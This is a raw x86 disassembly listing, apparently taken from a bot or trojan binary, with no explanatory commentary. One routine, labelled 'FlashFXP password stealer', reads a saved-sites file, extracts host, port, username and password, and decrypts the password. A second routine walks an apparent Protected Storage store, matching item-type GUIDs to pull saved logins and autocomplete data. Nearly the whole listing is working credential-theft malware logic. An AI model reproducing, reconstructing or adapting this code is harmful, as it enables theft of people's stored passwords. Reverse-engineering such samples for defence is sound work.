arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D3B8
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h


loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax


loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D3B0 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D384 ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D318
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D2DC
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	ds:dword_41DF50
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D648
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D614
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D610 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D648
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D648
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: UPX1:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D648
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DF00
		lea	eax, [ebp-7FCh]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset byte_41DF00
		lea	eax, [ebp-0DF0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D5C0
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DF00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D55C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	ds:dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset dword_41D54C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D54C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D54C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D54C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D54C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D54C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D54C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	ds:dword_41703C	; lstrlenA
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D50C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
